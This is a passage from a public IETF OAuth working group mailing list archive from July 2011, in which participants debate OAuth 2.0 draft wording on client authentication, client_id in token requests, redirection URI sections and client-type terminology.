, List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 15:18:59 -0000 I need to revisit a question that came up about two months ago. I thought I had a clear understanding of when client_id was and wasn't included in access token requests but drafts 18/19 seemed to have changed things (or my understanding of 16 was wrong). The question is, when is client_id a required parameter on requests to the token endpoint and when can/should it be omitted? In -16 I was under the impression that client_id was always to be included even when using HTTP Basic or other means of authentication. See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for example. But the text and examples in -18/-19 would suggest that client_id is to be omitted when using HTTP Basic. Text in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and example in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 I don't have a strong preference for either direction but do feel it needs to be more explicitly spelled out. Scenarios that should be accounted for are, for both clients in possession of a client password and clients without, using client_id/client_secret, using HTTP Basic and using other means of authentication/identification. From torsten@lodderstedt.net Mon Jul 25 09:06:18 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EBFFB21F8BDE for ; Mon, 25 Jul 2011 09:06:18 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.248 X-Spam-Level: X-Spam-Status: No, score=-1.248 tagged_above=-999 required=5 tests=[AWL=1.000, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id YOTwqth7njqc for ; Mon, 25 Jul 2011 09:06:18 -0700 (PDT) Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.29.23]) by ietfa.amsl.com (Postfix) with ESMTP id 2739721F8BE0 for ; Mon, 25 Jul 2011 07:10:52 -0700 (PDT) Received: from [130.129.17.214] by smtprelay01.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QlLrm-0000fF-9J; Mon, 25 Jul 2011 16:10:43 +0200 Message-ID: <4E2D7960.9010603@lodderstedt.net> Date: Mon, 25 Jul 2011 10:10:40 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF7C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A0024@P3PW5EX1MB01.EX1.SECURESERVER.NET> <44df5477-8c5c-47c4-bb29-6a154cd10848@email.android.com> <90C41DD21FB7C64BB94121FBBC2E72345021F378B3@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378B3@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: multipart/alternative; boundary="------------090505000108060009020806" X-Df-Sender: torsten@lodderstedt-online.de Cc: OAuth WG Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:06:19 -0000 This is a multi-part message in MIME format. --------------090505000108060009020806 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit +1 Am 25.07.2011 02:16, schrieb Eran Hammer-Lahav: > > How about, add this to 10.1: > > When client authentication is not possible, the > authorization server SHOULD employ other > > means to validate the client's identity. For example, by > requiring the registration of > > the client redirection URI or enlisting the resource owner > to confirm identity. The > > authorization server must consider the security implications > of interacting with > > unauthenticated clients and take measures to limit the > potential exposure of other > > credentials (e.g. refresh tokens) issued to such clients. > > EHL > > *From:*Torsten Lodderstedt [mailto:torsten@lodderstedt.net] > *Sent:* Sunday, July 10, 2011 1:59 AM > *To:* Eran Hammer-Lahav; OAuth WG > *Subject:* RE: Section 10.1 (Client authentication) > > Hi, > > I just remembered the original aim of the text. We not just intended > to list alternative means but to get a general message across: If you > cannot authenticate a client considers this in your security design! > Either (1) you accept the fact the respective identities can be forged > and handle them as untrusted entities through your logic (as far as I > remember Skylar suggested the term forgeable clients) or (2) you find > other ways to establish trust in the client's identity. > > The effect of (1) depends on the security policy of the certain > deployment and the risk associated with certain functions. It could > e.g. mean to rely on the id to aggregate log entries (not critical) > but never to automatically process authz processes or settle payment > transaction. > > Examples for (2) are: redirect uri validation, relying on the user to > identify the client, and (subsequently) use refresh tokens as mean for > client authentication. I don't think we can give a complete list of > means here since I assume some deployments will have their own > capabilities. > > Please also note: redirect uri validation is not an adequate > replacement for client authentication. It's not effective for native > apps and useless if the attacker uses a native app (no matter whether > the legitimate client is a web, user agent based or native app). > > regards, > Torsten. > > > > Eran Hammer-Lahav > > schrieb: > > Hey Torsten, > > The provided text and alternative text are just not helpful. If I am unable to understand it, I have doubt other readers will be able to. > > I don't know what you mean by 'other means' which are not already described in the document (based on -17). Referencing the security thread model document in a normative reference requires making it a normative reference which I am opposed to doing - the v2 document should include everything needed to implement the protocol without any additional specifications (for the core functionality). > > When I was asking for examples, I was hoping for something like 'for example, use x, y, or z', not a reference to about 10 pages of text (which by itself is pretty confusing, but that's a different issue - I hope to find the time to provide detailed feedback for that document). > > I think the current document makes a pretty > good case for using the redirection URI as a form of client validation, and clearly lays out the differences between a public and private client. It has new requirements for the registration of redirection URIs when client authentication is not possible. > > If there are specific things the authorization server can do to improve security beyond client authentication, we should list them explicitly in the document. > > Can you list exactly what you have in mind by 'other means'? Just the bullet points will be enough. > > EHL > > > > -----Original Message----- > > From: Torsten Lodderstedt[mailto:torsten@lodderstedt.net] > > Sent: Friday, July 08, 2011 12:59 AM > > To: Eran Hammer-Lahav; OAuth WG > > Subject: RE: Section 10.1 (Client authentication) > > > > seems you are contradicting yourself. > > > > You criticised the MUST and suggested to include some examples. I bought > > into your > argument and suggested to refer to the security doc for examples > > and additional explanations. That's what this document is intended for, to > > provide background beyond what we can cover in the core spec. > > > > And I don't think the spec already makes that point. But you are free to refer > > me to the respective text. > > > > regards, > > Torsten. > > > > > > > > Eran Hammer-Lahav> schrieb: > > > > >I still don’t find it useful. I think the existing text overall makes > > >this point already. > > > > > >EHL > > > > > >From: Torsten Lodderstedt[mailto:torsten@lodderstedt.net] > > >Sent: Wednesday, July 06, 2011 12:48 AM > > >To: Eran Hammer-Lahav; OAuth WG > > >Subject: Re: Section 10.1 (Client authentication) > > > > > >Hi Eran, > > > > > >I would > suggest to change it to SHOULD and add a reference to > > >https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections > > >3.7 and 5.2.3. > > > > > >regards, > > >Torsten. > > > > > > > > >Eran Hammer-Lahav > > >> > > >schrieb: > > >It's a pointless MUST given how undefined the requirements are. It will > > >only be understood by security experts and they don't really need it. > > >At a minimum, it needs some examples. > > > > > >EHL > > > > > >From: Torsten Lodderstedt > > >>> > > >Date: Wed, 1 Jun 2011 00:53:37 -0700 > > >To: Eran Hammer-lahav > > > >>>, OAuth WG > > >>> > > >Subject: Section 10.1 (Client authentication) > > > > > >Hi Eran, > > > > > >would you please add the following sentence (which was contained in the > > >original security considerations text) to the second paragraph of > > >section 1.0.1? > > > > > >Alternatively, authorization servers MUST utilize > > > other means than client authentication to achieve their security > > > objectives. > > > > > > > > >I think it's important to state that authorization server should > > >consider alternative way to validate the client identity if secrets > > >cannot be used. The security threat document also suggest some. > > > > > >regards, > > >Torsten. --------------090505000108060009020806 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 8bit +1

Am 25.07.2011 02:16, schrieb Eran Hammer-Lahav:

How about, add this to 10.1:

 

          When client authentication is not possible, the authorization server SHOULD employ other

          means to validate the client's identity. For example, by requiring the registration of

          the client redirection URI or enlisting the resource owner to confirm identity. The

          authorization server must consider the security implications of interacting with

          unauthenticated clients and take measures to limit the potential exposure of other

          credentials (e.g. refresh tokens) issued to such clients.

 

 

EHL

 

From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net]
Sent: Sunday, July 10, 2011 1:59 AM
To: Eran Hammer-Lahav; OAuth WG
Subject: RE: Section 10.1 (Client authentication)

 

Hi,

I just remembered the original aim of the text. We not just intended to list alternative means but to get a general message across: If you cannot authenticate a client considers this in your security design! Either (1) you accept the fact the respective identities can be forged and handle them as untrusted entities through your logic (as far as I remember Skylar suggested the term forgeable clients) or (2) you find other ways to establish trust in the client's identity.

The effect of (1) depends on the security policy of the certain deployment and the risk associated with certain functions. It could e.g. mean to rely on the id to aggregate log entries (not critical) but never to automatically process authz processes or settle payment transaction.

Examples for (2) are: redirect uri validation, relying on the user to identify the client, and (subsequently) use refresh tokens as mean for client authentication. I don't think we can give a complete list of means here since I assume some deployments will have their own capabilities.

Please also note: redirect uri validation is not an adequate replacement for client authentication. It's not effective for native apps and useless if the attacker uses a native app (no matter whether the legitimate client is a web, user agent based or native app).

regards,
Torsten.



Eran Hammer-Lahav <eran@hueniverse.com> schrieb:

Hey Torsten,

The provided text and alternative text are just not helpful. If I am unable to understand it, I have doubt other readers will be able to.

I don't know what you mean by 'other means' which are not already described in the document (based on -17). Referencing the security thread model document in a normative reference requires making it a normative reference which I am opposed to doing - the v2 document should include everything needed to implement the protocol without any additional specifications (for the core functionality).

When I was asking for examples, I was hoping for something like 'for example, use x, y, or z', not a reference to about 10 pages of text (which by itself is pretty confusing, but that's a different issue - I hope to find the time to provide detailed feedback for that document).

I think the current document makes a pretty
good case for using the redirection URI as a form of client validation, and clearly lays out the differences between a public and private client. It has new requirements for the registration of redirection URIs when client authentication is not possible.

If there are specific things the authorization server can do to improve security beyond client authentication, we should list them explicitly in the document.

Can you list exactly what you have in mind by 'other means'? Just the bullet points will be enough.

EHL


> -----Original Message-----
> From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net]
> Sent: Friday, July 08, 2011 12:59 AM
> To: Eran Hammer-Lahav; OAuth WG
> Subject: RE: Section 10.1 (Client authentication)
> 
> seems you are contradicting yourself.
> 
> You criticised the MUST and suggested to include some examples. I bought
> into your
argument and suggested to refer to the security doc for examples
> and additional explanations. That's what this document is intended for, to
> provide background beyond what we can cover in the core spec.
> 
> And I don't think the spec already makes that point. But you are free to refer
> me to the respective text.
> 
> regards,
> Torsten.
> 
> 
> 
> Eran Hammer-Lahav <eran@hueniverse.com> schrieb:
> 
> >I still don’t find it useful. I think the existing text overall makes
> >this point already.
> >
> >EHL
> >
> >From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net]
> >Sent: Wednesday, July 06, 2011 12:48 AM
> >To: Eran Hammer-Lahav; OAuth WG
> >Subject: Re: Section 10.1 (Client authentication)
> >
> >Hi Eran,
> >
> >I would
suggest to change it to SHOULD and add a reference to
> >https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections
> >3.7 and 5.2.3.
> >
> >regards,
> >Torsten.
> >
> >
> >Eran Hammer-Lahav
> <eran@hueniverse.com<mailto:eran@hueniverse.com>>
> >schrieb:
> >It's a pointless MUST given how undefined the requirements are. It will
> >only be understood by security experts and they don't really need it.
> >At a minimum, it needs some examples.
> >
> >EHL
> >
> >From: Torsten Lodderstedt
> ><torsten@lodderstedt.net<mailto:torsten@lodderstedt.net>>
> >Date: Wed, 1 Jun 2011 00:53:37 -0700
> >To: Eran Hammer-lahav
>
><eran@hueniverse.com<mailto:eran@hueniverse.com>>, OAuth WG
> ><oauth@ietf.org<mailto:oauth@ietf.org>>
> >Subject: Section 10.1 (Client authentication)
> >
> >Hi Eran,
> >
> >would you please add the following sentence (which was contained in the
> >original security considerations text) to the second paragraph of
> >section 1.0.1?
> >
> >Alternatively, authorization servers MUST utilize
> >    other means than client authentication to achieve their security
> >    objectives.
> >
> >
> >I think it's important to state that authorization server should
> >consider alternative way to validate the client identity if secrets
> >cannot be used. The security threat document also suggest some.
> >
> >regards,
> >Torsten.
--------------090505000108060009020806-- From torsten@lodderstedt.net Mon Jul 25 09:09:23 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E57F921F8748 for ; Mon, 25 Jul 2011 09:09:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.748 X-Spam-Level: X-Spam-Status: No, score=-1.748 tagged_above=-999 required=5 tests=[AWL=0.501, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vqdwYdVVbVbo for ; Mon, 25 Jul 2011 09:09:23 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.101]) by ietfa.amsl.com (Postfix) with ESMTP id E17D021F875E for ; Mon, 25 Jul 2011 07:18:44 -0700 (PDT) Received: from [130.129.17.214] by smtprelay06.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QlLzW-0002O7-Hj; Mon, 25 Jul 2011 16:18:42 +0200 Message-ID: <4E2D7B3F.10001@lodderstedt.net> Date: Mon, 25 Jul 2011 10:18:39 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <4E274554.5070606@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F378BC@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378BC@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:09:24 -0000 Hi Eran, Am 25.07.2011 03:28, schrieb Eran Hammer-Lahav: > >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> Of Torsten Lodderstedt >> Sent: Wednesday, July 20, 2011 2:15 PM >> "The authorization server redirects the user-agent to the >> client's redirection URI previously established with the >> authorization server during the client registration process." >> >> Conflicts with section 3.1.2.3, which allows to pass a redirect_uri via URI >> query parameter. > Added 'or when initiating the authorization request' > >> 3.1.2.1 Endpoint Confidentiality >> >> What does "endpoint" confidentiality mean? Which endpoint does this text >> refer to? The client's redirect_uri endpoint? > This is a sub-section of the Redirection URI endpoint. ok, but how can an endpoint be confidential? >> 3.1.2.5. Endpoint Content >> >> As this section discusses security aspects of the client's implementation of >> the redirect_uri page, shouldn't this go to the security considerations >> section? > I think it is important enough to appear earlier. It is part of my effort to integrate concrete normative language from the security sections up to the protocol sections. > Understood and in support for this approach. Wouldn't this mean to remove some text from section 10 in order to prevent redundancies? Regarding this particular section: I think the two different issues (transport security and endpoint authenticity) should be presented separately. regards, Torsten. > EHL > > From torsten@lodderstedt.net Mon Jul 25 09:10:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BB9D521F910C for ; Mon, 25 Jul 2011 09:10:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.915 X-Spam-Level: X-Spam-Status: No, score=-1.915 tagged_above=-999 required=5 tests=[AWL=0.334, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id BfRO7qoCyFD6 for ; Mon, 25 Jul 2011 09:10:45 -0700 (PDT) Received: from smtprelay04.ispgateway.de (smtprelay04.ispgateway.de [80.67.31.42]) by ietfa.amsl.com (Postfix) with ESMTP id B5B5A21F86D0 for ; Mon, 25 Jul 2011 07:24:08 -0700 (PDT) Received: from [130.129.17.214] by smtprelay04.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QlM4l-0001Bu-3P; Mon, 25 Jul 2011 16:24:07 +0200 Message-ID: <4E2D7C84.9080601@lodderstedt.net> Date: Mon, 25 Jul 2011 10:24:04 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <4E274D61.4020804@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F378BE@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378BE@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Cc: OAuth WG Subject: Re: [OAUTH-WG] Comments on -18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:10:45 -0000 Hi Eran, >> section 5.2 >> >> "The authorization server MAY return an HTTP 401 >> (Unauthorized) status code to indicate which HTTP >> authentication schemes are supported." >> >> Given the usage of HTTP authentication schemes is the way to authenticated >> client recommended by the spec, status code 401 should be the default >> status code for this kind of error. Usage of status code 400 should be the >> exception. >> >> "unauthorized_client" >> >> So above - status code 403 seems to be a more appropriate default. > I think this is fine unchanged. Can you please give a rationale? ... >> section 10.6 >> >> Please replace the first sentence with the following text: >> >> "Such an attack leverages the authorization code ..." > That reads funny. How about 'An attacker can leverage...' No one said we have to write boring text :-) Your proposal is fine. regards, Torsten. > EHL > From Michael.Jones@microsoft.com Mon Jul 25 09:10:47 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 86DAD21F9113 for ; Mon, 25 Jul 2011 09:10:47 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.406 X-Spam-Level: X-Spam-Status: No, score=-10.406 tagged_above=-999 required=5 tests=[AWL=0.058, BAYES_00=-2.599, HTML_MESSAGE=0.001, HTTP_ESCAPED_HOST=0.134, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 0WbXOOgEMKNJ for ; Mon, 25 Jul 2011 09:10:45 -0700 (PDT) Received: from smtp.microsoft.com (mail3.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 1994021F873F for ; Mon, 25 Jul 2011 07:24:11 -0700 (PDT) Received: from TK5EX14MLTC103.redmond.corp.microsoft.com (157.54.79.174) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Mon, 25 Jul 2011 07:24:10 -0700 Received: from TK5EX14MBXC207.redmond.corp.microsoft.com ([169.254.7.174]) by TK5EX14MLTC103.redmond.corp.microsoft.com ([157.54.79.174]) with mapi id 14.01.0323.002; Mon, 25 Jul 2011 07:24:09 -0700 From: Mike Jones To: Eran Hammer-Lahav , OAuth WG Thread-Topic: Draft -19 Thread-Index: AcxKoSoet0pnUU51RLinUDkuShpevgAM6+mw Date: Mon, 25 Jul 2011 14:24:09 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394349852A91@TK5EX14MBXC207.redmond.corp.microsoft.com> References: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.37] Content-Type: multipart/alternative; boundary="_000_4E1F6AAD24975D4BA5B168042967394349852A91TK5EX14MBXC207r_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:10:47 -0000 --_000_4E1F6AAD24975D4BA5B168042967394349852A91TK5EX14MBXC207r_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable A few editorial points about references: - the draft is referencing an old draft of the bearer token spec (-04), r= ather than the current version (-06), - the draft is referencing an old draft of the SAML bearer spec (-03), r= ather than the current version (-04), - the draft is not referencing the assertions spec draft-ietf-oauth-asser= tions-00, which would make sense in Section 4.5 (Extensions) Also, the example in 4.5 should be updated to match the current SAML bearer= spec: grant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F bearer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- Thanks, -- Mike From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of E= ran Hammer-Lahav Sent: Monday, July 25, 2011 1:07 AM To: OAuth WG Subject: [OAUTH-WG] Draft -19 Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and = the request being discussed on the list to change the public/private client= type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL --_000_4E1F6AAD24975D4BA5B168042967394349852A91TK5EX14MBXC207r_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

A few editorial points= about references:

  - the draft is = referencing an old draft of the bearer token spec (-04), rather than the cu= rrent version (-06),

  - the draft is = referencing an old draft  of the SAML bearer spec (-03), rather than t= he current version (-04),

  - the draft is = not referencing the assertions spec draft-ietf-oauth-assertions-00, which w= ould make sense in Section 4.5 (Extensions)

 

Also, the example in 4= .5 should be updated to match the current SAML bearer spec:

 

  = ; grant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F

  = ; bearer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM=

  = ; [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24-<= /span>

 =

   &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;      Thanks,

   &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;      -- Mike

 

From: oauth-bo= unces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Eran Hammer-Lahav
Sent: Monday, July 25, 2011 1:07 AM
To: OAuth WG
Subject: [OAUTH-WG] Draft -19

 

Draft 19 includes all the feedback received for -18:=

 

* Closes issues 15-19

* Moved client profiles to section 2.1 from 10<= /o:p>

* New text for ‘Code Injection and Input Valid= ation’

* A few minor editorial clarifications

 

There are two open issues (20, 21) which are minor e= ditorial requests, and the request being discussed on the list to change th= e public/private client type terminology to something else.

 

I consider draft -19 to be ready for WGLC immediatel= y.

 

Thanks,

 

EHL

 

--_000_4E1F6AAD24975D4BA5B168042967394349852A91TK5EX14MBXC207r_-- From jricher@mitre.org Mon Jul 25 09:11:38 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 85FAD11E80FA for ; Mon, 25 Jul 2011 09:11:38 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.541 X-Spam-Level: X-Spam-Status: No, score=-6.541 tagged_above=-999 required=5 tests=[AWL=0.058, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Pk-VDqcO-ySW for ; Mon, 25 Jul 2011 09:11:37 -0700 (PDT) Received: from smtpksrv1.mitre.org (smtpksrv1.mitre.org [198.49.146.77]) by ietfa.amsl.com (Postfix) with ESMTP id 1589E21F8C78 for ; Mon, 25 Jul 2011 07:40:46 -0700 (PDT) Received: from smtpksrv1.mitre.org (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with SMTP id 6003C21B1058; Mon, 25 Jul 2011 10:40:45 -0400 (EDT) Received: from imchub1.MITRE.ORG (imchub1.mitre.org [129.83.29.73]) by smtpksrv1.mitre.org (Postfix) with ESMTP id 5834321B019E; Mon, 25 Jul 2011 10:40:45 -0400 (EDT) Received: from [129.83.50.1] (129.83.50.1) by imchub1.MITRE.ORG (129.83.29.73) with Microsoft SMTP Server id 8.3.192.1; Mon, 25 Jul 2011 10:40:45 -0400 From: Justin Richer To: Eran Hammer-Lahav In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378B9@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345021F378B9@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: text/plain; charset="UTF-8" Date: Mon, 25 Jul 2011 10:40:31 -0400 Message-ID: <1311604831.24841.11.camel@ground> MIME-Version: 1.0 X-Mailer: Evolution 2.32.2 Content-Transfer-Encoding: 7bit Cc: OAuth WG , "eran@sled.com" Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:11:38 -0000 I would avoid using the term "open" here as it has other deep-seated meanings in the software world, particularly with regard to Open Source and Open Standard stuff. FWIW, I think "confidential/public" or "private/public" are serviceable. -- Justin On Mon, 2011-07-25 at 02:45 -0400, Eran Hammer-Lahav wrote: > How about confidential/open? > > EHL > > > -----Original Message----- > > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > > Of Eran Hammer-Lahav > > Sent: Friday, July 22, 2011 2:12 PM > > To: Torsten Lodderstedt; OAuth WG > > Subject: Re: [OAUTH-WG] Issue 15, new client registration > > > > > > > > > -----Original Message----- > > > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > > > Of Torsten Lodderstedt > > > Sent: Wednesday, July 20, 2011 1:59 PM > > > To: OAuth WG > > > Subject: Re: [OAUTH-WG] Issue 15, new client registration > > > > > > 2.1 Client types > > > > > > I'm struggeling with the new terminology of "private" and "public" > > > clients. In my perception, the text just distinguishes clients which > > > can be authenticated and such which cannot. This is fine but I > > > consider the wording misleading. I would suggest to change it to > > > something like trusted/untrusted or authenticated/unauthenticated or > > Verifiable/Forgeable. > > > > I'm open to changing the names. > > > > I don't like trusted/untrusted because OAuth does not define trust. The > > authenticated/unauthenticated pair is also not ideal because the terms > > describe the outcome, not the nature of the client. As for > > verifiable/forgeable, I think these terms are too complicated for a casual > > reader. > > > > My intention with public/private is to identify the nature of the client > > credentials. So a more verbose version would be 'public credentials/private > > credentials'. This also works with 'code' instead of 'credentials'. > > > > It's clear from the past year of discussions that we need terminology to > > describe these two types. > > > > Any other suggestions? > > > > EHL > > _______________________________________________ > > OAuth mailing list > > OAuth@ietf.org > > https://www.ietf.org/mailman/listinfo/oauth > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From dhiva@es.net Mon Jul 25 09:11:42 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EE16F11E8103 for ; Mon, 25 Jul 2011 09:11:41 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.6 X-Spam-Level: X-Spam-Status: No, score=-2.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id IiNGfRpMRvsx for ; Mon, 25 Jul 2011 09:11:36 -0700 (PDT) Received: from mailgw.es.net (mail4.es.net [IPv6:2001:400:6000:6::2]) by ietfa.amsl.com (Postfix) with ESMTP id 6681F21F8C6F for ; Mon, 25 Jul 2011 07:39:40 -0700 (PDT) 